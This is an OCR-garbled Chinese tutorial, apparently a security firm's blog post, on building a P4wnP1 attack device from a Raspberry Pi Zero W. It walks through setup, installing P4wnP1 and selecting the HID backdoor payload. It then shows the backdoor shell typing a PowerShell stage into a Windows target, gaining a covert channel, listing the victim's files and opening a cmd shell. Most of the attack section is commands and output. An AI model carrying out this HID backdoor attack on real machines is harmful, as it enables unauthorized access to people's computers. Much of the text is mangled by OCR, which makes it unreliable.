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| 1 Image with desktop based on Debian Stretch l ersion November 2017
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HENZERF, LEBIFHFTI config.txt SCHF, 7ECHIRERN “dtoverlay=dwe2 “, &
fAIFIRL .
#arm_freq=800
# Uncomment some or all of these to enable the optional hardware interfaces
46 #dtparam=i2c_arm=on
ftdtparam=i2s=on

8 #tdtparam=spi=on

d # Uncomment this to enable the lirc-rpi module
1 #dtoverlay=lirc-rpi

# Additional overlays and parameters are documented /boot/overlays/README

# Enable audio (loads snd_bcm2835)
» dtparam=audio=on
dtoverlay=dwc2

SR IEFTIF emdline.txt SCF, 2 rootwait = 4F, FFTE rootwait 745 J [ 4% Il modules-
load=dwc2,g_ether F4F, fR{FFHEH.



1 dwc_otg.lpm enable=0 console=serial®,115200 console=ttyl

2_root=PARTUUID=44d8d@da-02 rootfstype-ext4d elevator=deadline fsck.repair=yes

3 rootwait modules-load=dwc2,g ether jquiet splash plymouth.ignore-serial-
consoles
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7t xshell. putty 5 SecuCRT %5{T— SSH E##FH, 1217 ssh pi@raspberrypi.local fir
4, %Y raspberry, %424 Raspberry Pl Zero W.

0x06 ACE SSH HiEBEMEILRE

1. JF)3 SSH k% . # A RaspberryPl 2 J5, 1217 sudo raspi-config fy4>, IEAT< i R
aspberry Pl Software Configuration Tool T4 £ 1GHE

{ Raspberry Pi Software Configuration Tool (raspi-config) E

1 Change User Password Change password for the current user
2 Network Options Configure network settings
3 Boot Options Configure options for start-up

4 COCAtISarlon UpTIons SEt up Langudye and regionat SeCrrings o mMatcir] your location
5 Interfacing Options Configure connections to peripherals

B UVerc LoCK CONTIQUTE OVErcLOCKRINg Tor your PL
7 Advanced Options Configure advanced settings
8 Update Update this tool to the latest version

9 About raspli-config Information about this configuration tool

<Select> <Finish>

.
PRI 7 8% 5 Interfacing Options 285 [l 423N .
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P4 SPI Enable/Disable
P5 I2C Enable/Disable
P6 Serial Enable/Disable
P7 1-Wire Enable/Disable
P8 Remote GPIO Enable/Disable

W P2 SSH [HI 7, i 22

Y
automatic loading of SPI kernel module
automatic loading of I2C kernel module
shell and kernel messages on the serial connection
one-wire interface
remote access to GPIO pins

SRS SSH Server B HAE, 1EHEE Yes BT,
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1. HEH &% Raspberry Pl, &5 ping www.qingteng.cn, {8 1] LLE 24 BRI T T
WIHR 2% ping ANIEFTE, 7T LLZZATE windows Hiff— AN R iE4T 4L

plEraspberrypi:~

pi@raspberrypi:~ $ ping www.gingteng.cn

PING www.gingteng.cn (101.200.207.62) 56(84) bytes of data.

64 bytes from 101.200.207.62 (101.200. : icmp_seq=1 tt1=48 time=7.30 ms
64 bytes from 101.200.207.62 (101.200. : icmp_seqg=2 ttl=48 time=4.91 ms
64 bytes from 101.200.207.62 (101.200.207.62): icmp_seq=3 ttl=48 time=5.07 ms

~C
--- www.gingteng.cn ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 4.914/5.766/7.308/1.092 ms
pi@raspberrypi:~ $ ]

2. % PAwnP1. #U{T git clone —recurive https://github.com/mame82/P4wnP1 iy 4 M
git Nk PAwnP1 JE (JEE— @ ERIN---recurive 2%, KA ZSH, HNMHRESS
BRI, FEsesE, N P4wnPl Hat, SRJEHAT finstall.sh @4, BLRHEFF
G223 PAWNPL., (Z3EI nl R4 f wireshark FUSE , 1R TS ¥R root F - # ]
wireshark #HATHNEL, 1EFE yes i),


http://www.qingteng.cn/

duckencoder INSTALL .md LICENSE . txt

pi@raspberrypi:~/P4wnPl $ ./install.sh

Testing Internet connection and name resolution...

...[pass] Internet connection works

Testing it the system runs Raspbian Jessie or Stretch...
.[pass] Pi seems to be running Raspbian Jessie or Stretch

Backing up resolv.conft

Installing needed packages...

Ify came till here without errors, you shoud be good to go y
...if not - sorry, you're on your own, as this is work in progress

Attach P4wnPl to a host and you should be able to SSH in with pi@l172.16.0.1 (via RNDIS/CDC ECM)

If you use a USB OTG adapter to attach a keyboard, P4wnPl boots into interactive mode

If you're using a Pi Zero W, a WiFi AP should be opened. You could use the AP to setup P4wnPl, too.
WiFi name: P4wnP1
Key: MaMe82-P4wnP1
SSH access: pi@l172.24.0.1 (password: raspberry)

or via Bluetooth NAP: pi@l72.26.0.1 (password: raspberry)

Go to your installation directory. From there you can alter the settings in the file 'setup.cfg’,
like payload and language selection

If you're using a Pi Zero W, give the HID backdoor a try ;-)
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4. RINFERTLM Z JG1E ssh &KiiizafT ssh pi@172.24.0.1 74, %14 raspberry, fii4
4% Raspberry Pl

5. 4777 PAwnP1 H 3% setup.cfg S0, fEIZRCE AT E LM A PR, &
i K in# i) payload. $£%] Payload selection i1, yEBH: & payload, B PAYLOA
D=hid_backdoor.txt [FJ7ER, fRFFEH.
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tarting P4wnPl server. ..

PAwnP1 HID backdoor shell

Author: MaMe82

Neb: https://github.com/mame82/P4wnP1
tate: Experimental (maybe forever ;-))

nter "help" for help
nter "FireStagel"” to run stage 1 against the current target.
Use vtage! et more details.

P4wnP1 shell (client not connected) > [J

3. & shell &1E24, AICARIA help & &G LRI 27138
P4wnP1l shell (client not connected) = help

cumented commands (type help <topi
eateProc GetClientProcs KillClient SendKeys echotest
FireStagel GetKeyboardlLanguage KillProc SetKeyboardLanguage help

11s pwd upload
SendDuckyScript cd interact 1pwd shell
SendMouseScript download lcd 1s state

P4wnP1l shell |[(client not connected)|> []

URRRFLFREZ ML, HETZ ML 2 IR, JFEESITHEMSZ

MR ERERENES, WREAESREAIEN, SHIaSTERITH NS, BT

payload #Zi# it 7E H#x 1AL E3AT powershell {77 A7 HATHY, 18 S X EA ER, N

21 Hbr FHL B3 powershell %11, H. powershell & HRSEH I G50, 1R 5
2 NI

4. %\ SetKeyboardLanguage fiy & & ES . 78 ThinkPad _F TR & 3L,
7 2244 KeyboardLanguage ¥ &4 us, 1A ch. & & 5EHUE AT LLFIH GetKeyboard
Language #ir 4 A & & 15 B .

P4wnP1 shell (client not cohnected] > SétKeyboardLanguage
Choose language by number or name:

2:fr 3:cs 4:br 5:fi 6:hr
[8:ch] 9:us 10:tr 11:pt 12:dk 13:sv 14:be
16:it 17:es 18:ca 19:de

Your selection or 'x' to abort: 9

language set to ‘'us'

P4wnP1l shell (client not connected) > GetKeyboardLanguage
us

P4wnP1l shell (client not connected) > [j



5. I E Y KeyboardLanguage 2 J&, 1817 FireStagel fin & # 2iE# HbrEMNL. 1B1T
FireStagel 425, =fEHRENL L3 — powershell Zimi H, 2R)E H3NHIA
REGFEHAT, RASH 2~-3 HINE. M) E21E shell 115 £ client connectd )4k

B o

P4wnP1 shell (client not connected) = GetKeyboardlLanguage

us

PA4wnP1l shell (client not connected) = FireStagel

Starting to type out stagel to the target...

...done. If the client doesn't connect back, check the target

keyboard layout with 'SetKeyboardlLanguage'
P4wnP1l shell (client not connected) =
Target connected through HID covert channel

P4wnP1l shell {client connected)| > []
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P4wnP1l shell (client connected)
.android

JAndroidStudio2.3

.bash_history

.eclipse

.idlerc

IntellilIdea2@l7.2
.jssc
.m2

.oracle_jre usage
.p2
.tooling

BT shell a4 3R RS 1 shell.

P4wnP1l shell (client connected) > shell
Process with ID 12796 created

Trying to interact with process ID 12796 ...
Microsoft Windows [6i%

(c) 2017 Microsoft Corporation

C:\Users\gingteng>whoami
whoami

whoami
desktop-et27oughgingteng

C:\Users\gingteng>"[ [A[]
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